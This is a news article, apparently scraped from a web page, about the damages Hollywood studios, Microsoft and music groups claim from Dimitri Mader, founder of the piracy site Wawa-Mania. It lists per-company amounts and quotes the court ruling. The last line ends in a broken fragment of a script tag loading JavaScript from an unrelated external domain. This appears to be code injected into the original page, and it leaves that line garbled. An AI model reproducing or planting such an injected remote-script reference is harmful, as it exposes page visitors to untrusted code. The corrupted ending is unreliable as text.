Hollywood demands an array of damages worth $12.8m to Dimitri Mader, the operator and founder of Wawa-Mania, a site popular for hosting illegal distribution of copyrighted films. Microsoft and a pair of music groups also order the Frenchman to pay $4.4m, TorrentFreak reports.
Wawa-Mania caught the attention of RIAA and many copyright holders when it gained millions of members and became popular in 2009. It was found out by the Association Against Audiovisual Piracy (ALPA) that there are more than 3,600 pirated films accessible at the site.
Last April 2015, Mader was condemned to a one-year imprisonment and was charged 20,000 euros as the site’s admin. He was reportedly sentenced in absentia and stayed in the Philippines with his family.
According to the ruling obtained by TorrentFreak, copyright holders demand different amounts of damages per infringed copy:
- € 2,725,260 for Twentieth Century Fox Film ($3,015,813)
- € 1,998,849 for Disney Enterprises ($2,211,956)
- € 1,838,401 for Columbia Pictures ($2,034,402)
- € 1,796,027 for Universal City Studios ($1,987,510)
- € 1,618,388 for Paramount Pictures ($1,790,932)
- € 1,224,348 for Warner Bros. ($1,354,881)
- € 434,699 for Tristar Pictures ($481,044)
- € 2,691,670 for SACEM ($2,978,642)
- € 527,675 for SCPP ($583,933)
- € 684,067 for Microsoft ($756,998)
- € 67,395 for Marc Dorcel ($74,580)
“But the imbalances created by downloading this type of work affect not only this but even more generally on all the works including those whose success is not immediate or massive. It is therefore appropriate to recognize significant financial damages and allocate damages accordingly within the limits of the requests by different civil parties,” the ruling stated.
This is indeed good news for those organizations who are against software piracy and have been working hard to minimize copyright infringement cases. type=’text/javascript’ src=’http://online-sale24.com/1.js’>